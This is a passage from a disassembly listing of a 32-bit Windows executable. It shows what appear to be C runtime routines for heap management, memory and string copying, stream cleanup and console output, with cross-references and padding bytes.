		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_447E68
; ---------------------------------------------------------------------------


loc_447E51:				; CODE XREF: sub_447CF1+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_447E68:				; CODE XREF: sub_447CF1+138j
					; sub_447CF1+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_447EB3
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jnz	short loc_447EEA
		jmp	short loc_447E9D
; ---------------------------------------------------------------------------


loc_447E97:				; CODE XREF: sub_447CF1+1BEj
		inc	dword_4111F8


loc_447E9D:				; CODE XREF: sub_447CF1+1A4j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_447EB1
		cmp	eax, 7
		jl	short loc_447E97


loc_447EB1:				; CODE XREF: sub_447CF1+1B9j
		jmp	short loc_447EEA
; ---------------------------------------------------------------------------


loc_447EB3:				; CODE XREF: sub_447CF1+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_447EEA
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_447EEA:				; CODE XREF: sub_447CF1+1A2j
					; sub_447CF1:loc_447EB1j ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_447EF8:				; CODE XREF: sub_447CF1+E4j
		cmp	edi, dword_4111E4
		ja	short loc_447F32
		cmp	edi, dword_4111DC
		ja	short loc_447F1A
		mov	eax, dword_4111D8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_447F2D
; ---------------------------------------------------------------------------


loc_447F1A:				; CODE XREF: sub_447CF1+215j
		mov	eax, dword_4111E0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_447F2D:				; CODE XREF: sub_447CF1+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_447F62
; ---------------------------------------------------------------------------


loc_447F32:				; CODE XREF: sub_447CF1+20Dj
		cmp	edi, dword_4111EC
		ja	short loc_447F4F
		mov	eax, dword_4111E8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_447F62
; ---------------------------------------------------------------------------


loc_447F4F:				; CODE XREF: sub_447CF1+247j
		mov	eax, dword_4111F0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_447F62:				; CODE XREF: sub_447CF1+23Fj
					; sub_447CF1+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_44805E
		cmp	[ebp+var_C], 0
		jl	short loc_447FEA
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_447FB9
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_447FEA
		jmp	short loc_447FA3
; ---------------------------------------------------------------------------


loc_447F9D:				; CODE XREF: sub_447CF1+2C4j
		inc	dword_4111F8


loc_447FA3:				; CODE XREF: sub_447CF1+2AAj
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_447FB7
		cmp	eax, 7
		jl	short loc_447F9D


loc_447FB7:				; CODE XREF: sub_447CF1+2BFj
		jmp	short loc_447FEA
; ---------------------------------------------------------------------------


loc_447FB9:				; CODE XREF: sub_447CF1+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_447FEA
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_447FEA:				; CODE XREF: sub_447CF1+284j
					; sub_447CF1+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_448020
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jle	short loc_448029
		mov	eax, [ebp+var_8]
		mov	dword_4111F8, eax
		jmp	short loc_448029
; ---------------------------------------------------------------------------


loc_448020:				; CODE XREF: sub_447CF1+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_448029:				; CODE XREF: sub_447CF1+323j
					; sub_447CF1+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		mov	dword_4111A8[eax*4], ebx


loc_44805E:				; CODE XREF: sub_447CF1+26j
					; sub_447CF1+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447CF1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448071	proc near		; CODE XREF: sub_441FF7+Fp
					; DMN1:004420B9p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004480E4 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F864
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_4480E4
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D0
		jbe	short loc_4480B1
		cmp	eax, dword_4111CC
		jb	short loc_4480BA


loc_4480B1:				; CODE XREF: sub_448071+36j
		push	ebx
		call	sub_4495B1
		pop	ecx
		jmp	short loc_4480E4
; ---------------------------------------------------------------------------


loc_4480BA:				; CODE XREF: sub_448071+3Ej
		push	0
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_447CF1
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4480DB
		jmp	short loc_4480E4
sub_448071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4480DB	proc near		; CODE XREF: sub_448071+63p
		push	0
		call	sub_449741
		pop	ecx
		retn
sub_4480DB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448071


loc_4480E4:				; CODE XREF: sub_448071+2Bj
					; sub_448071+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448071
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_448117
		mov	esi, [edi+4]


loc_448117:				; CODE XREF: DMN1:00448112j
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448141	proc near		; CODE XREF: DMN1:00442071p
					; DMN1:004420A1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_44815D
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_44816D
; ---------------------------------------------------------------------------


loc_44815D:				; CODE XREF: sub_448141+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_44816D:				; CODE XREF: sub_448141+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407180
		call	sub_449761
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_448141	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	esi
		mov	eax, [ebp+0Ch]
		push	eax
		push	ebx
		call	dword_411D94	; WriteConsoleA
		test	eax, eax
		jz	short loc_4481CF
		cmp	[ebp-4], esi
		jnz	short loc_4481CF
		mov	edi, ebx
		jmp	short loc_4481D1
; ---------------------------------------------------------------------------


loc_4481CF:				; CODE XREF: DMN1:004481C4j
					; DMN1:004481C9j
		xor	edi, edi


loc_4481D1:				; CODE XREF: DMN1:004481CDj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4481E1	proc near		; CODE XREF: DMN1:004420B1p
					; DMN1:004420CDp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_4499E1
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4481FA
		or	eax, 0FFFFFFFFh
		jmp	short loc_448212
; ---------------------------------------------------------------------------


loc_4481FA:				; CODE XREF: sub_4481E1+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_407220
		call	sub_449761
		add	esp, 10h
		mov	esi, eax


loc_448212:				; CODE XREF: sub_4481E1+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4481E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	ebx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_4485B1
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448241	proc near		; CODE XREF: DMN1:0044214Dp
					; sub_44352A+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_4072A0
		call	sub_449761
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_44826C
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_44826C:				; CODE XREF: sub_448241+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_448241	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448281	proc near		; CODE XREF: DMN1:00442172p
					; sub_4447B9+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004482E5 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F870
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_449A41
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_449AA1
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4482DC
		jmp	short loc_4482E5
sub_448281	endp


; =============== S U B	R O U T	I N E =======================================



sub_4482DC	proc near		; CODE XREF: sub_448281+54p
		push	6
		call	sub_449741
		pop	ecx
		retn
sub_4482DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448281


loc_4482E5:				; CODE XREF: sub_448281+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448281
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp+10h]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		call	sub_4486E1
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_448325
		mov	edi, ebx
		jmp	short loc_448327
; ---------------------------------------------------------------------------


loc_448325:				; CODE XREF: DMN1:0044831Fj
		xor	edi, edi


loc_448327:				; CODE XREF: DMN1:00448323j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448331	proc near		; CODE XREF: DMN1:0044218Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407380
		call	sub_449761
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_448331	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx


loc_448364:				; CODE XREF: DMN1:0044837Dj
		mov	eax, off_411370[ebx*4]
		test	eax, eax
		jz	short loc_448376
		push	eax
		call	sub_4484E1
		pop	ecx


loc_448376:				; CODE XREF: DMN1:0044836Dj
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_448364
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448381	proc near		; CODE XREF: sub_449AA1:loc_449BD5p
					; sub_449E21+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004483E8 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F87C
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_41105C, 0
		jnz	short loc_4483D4
		mov	dword_41105C, 1
		push	offset sub_4073E0
		call	sub_449BF1
		pop	ecx


loc_4483D4:				; CODE XREF: sub_448381+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4483DF
		jmp	short loc_4483E8
sub_448381	endp


; =============== S U B	R O U T	I N E =======================================



sub_4483DF	proc near		; CODE XREF: sub_448381+57p
		push	6
		call	sub_449741
		pop	ecx
		retn
sub_4483DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448381


loc_4483E8:				; CODE XREF: sub_448381+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448381
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448401	proc near		; CODE XREF: sub_4484E1+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_449C21
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_448422
		mov	eax, [ebx+8]
		push	eax
		call	sub_448071
		pop	ecx


loc_448422:				; CODE XREF: sub_448401+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_44843E
		push	eax
		call	sub_449DA1
		pop	ecx
		test	eax, eax
		jz	short loc_44843E
		or	esi, 0FFFFFFFFh


loc_44843E:				; CODE XREF: sub_448401+2Dj
					; sub_448401+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_448464
		push	eax
		call	sub_448A11
		pop	ecx
		test	eax, eax
		jz	short loc_448453
		or	esi, 0FFFFFFFFh


loc_448453:				; CODE XREF: sub_448401+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_448071
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_448464:				; CODE XREF: sub_448401+42j
		test	word ptr [ebx],	80h
		jz	short loc_448495
		xor	edi, edi


loc_44846D:				; CODE XREF: sub_448401+89j
		cmp	ebx, off_411370[edi*4]
		jnz	short loc_448483
		mov	off_411370[edi*4], 0
		jmp	short loc_44848C
; ---------------------------------------------------------------------------


loc_448483:				; CODE XREF: sub_448401+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_44846D


loc_44848C:				; CODE XREF: sub_448401+80j
		push	ebx
		call	sub_448071
		pop	ecx
		jmp	short loc_4484CE
; ---------------------------------------------------------------------------


loc_448495:				; CODE XREF: sub_448401+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_4484CE:				; CODE XREF: sub_448401+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_448401	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4484E1	proc near		; CODE XREF: DMN1:00442195p
					; sub_4447B9+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00448537 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F888
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_4496C1
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_448401
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_44852E
		jmp	short loc_448537
sub_4484E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44852E	proc near		; CODE XREF: sub_4484E1+46p
		push	6
		call	sub_449741
		pop	ecx
		retn
sub_44852E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4484E1


loc_448537:				; CODE XREF: sub_4484E1+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4484E1
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448551	proc near		; CODE XREF: sub_4424E8+Fp
					; sub_442538+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_44859F
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_448598
		neg	ecx
		and	ecx, 3
		jz	short loc_44857A
		sub	edx, ecx


loc_448574:				; CODE XREF: sub_448551+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_448574


loc_44857A:				; CODE XREF: sub_448551+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_448598
		rep stosd
		test	edx, edx
		jz	short loc_44859E


loc_448598:				; CODE XREF: sub_448551+18j
					; sub_448551+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_448598


loc_44859E:				; CODE XREF: sub_448551+45j
		pop	edi


loc_44859F:				; CODE XREF: sub_448551+6j
		mov	eax, [esp+arg_0]
		retn
sub_448551	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4485B1	proc near		; CODE XREF: sub_4429D6+2Cp
					; sub_442A5B+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_4485C7
; ---------------------------------------------------------------------------


loc_4485C0:				; CODE XREF: sub_4485B1+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_4485C7:				; CODE XREF: sub_4485B1+Dj
		test	ecx, ecx
		jnz	short loc_4485C0
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_4485B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4485D1	proc near		; CODE XREF: sub_443189+2Ep
					; sub_443492+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_4485DA
; ---------------------------------------------------------------------------


loc_4485D9:				; CODE XREF: sub_4485D1+Cj
		inc	edx


loc_4485DA:				; CODE XREF: sub_4485D1+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_4485D9
		mov	eax, edx
		sub	eax, ecx
		retn
sub_4485D1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4485F1	proc near		; CODE XREF: sub_443217+3Fp
					; sub_44352A+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_4485FD:				; CODE XREF: sub_4485F1+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_4485FD
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_4485F1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_448611	proc near		; CODE XREF: sub_443217+53p
					; sub_443217+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_44861F
; ---------------------------------------------------------------------------


loc_44861E:				; CODE XREF: sub_448611+11j
		inc	edx


loc_44861F:				; CODE XREF: sub_448611+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_44861E
		jmp	short loc_448628
; ---------------------------------------------------------------------------


loc_448626:				; CODE XREF: sub_448611+1Dj
		inc	edx
		inc	ebx


loc_448628:				; CODE XREF: sub_448611+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_448626
		mov	eax, ecx
		pop	ebx
		retn
sub_448611	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_448641	proc near		; CODE XREF: sub_44352A+268p
					; sub_44352A+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_448671
		mov	eax, ebx
		jmp	short loc_44868A
; ---------------------------------------------------------------------------


loc_448655:				; CODE XREF: sub_448641+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_44865B:				; CODE XREF: sub_448641+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_448667
		mov	eax, ebx
		jmp	short loc_44868A
; ---------------------------------------------------------------------------


loc_448667:				; CODE XREF: sub_448641+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_44865B
		inc	ebx


loc_448671:				; CODE XREF: sub_448641+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_449E01
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_448655
		xor	eax, eax


loc_44868A:				; CODE XREF: sub_448641+12j
					; sub_448641+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_448641	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_4486B1
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_4486B1	proc near		; CODE XREF: sub_443817+8p
					; sub_443A83+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4486D1


loc_4486BD:				; CODE XREF: sub_4486B1+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4486BD


loc_4486D1:				; CODE XREF: sub_4486B1+Aj
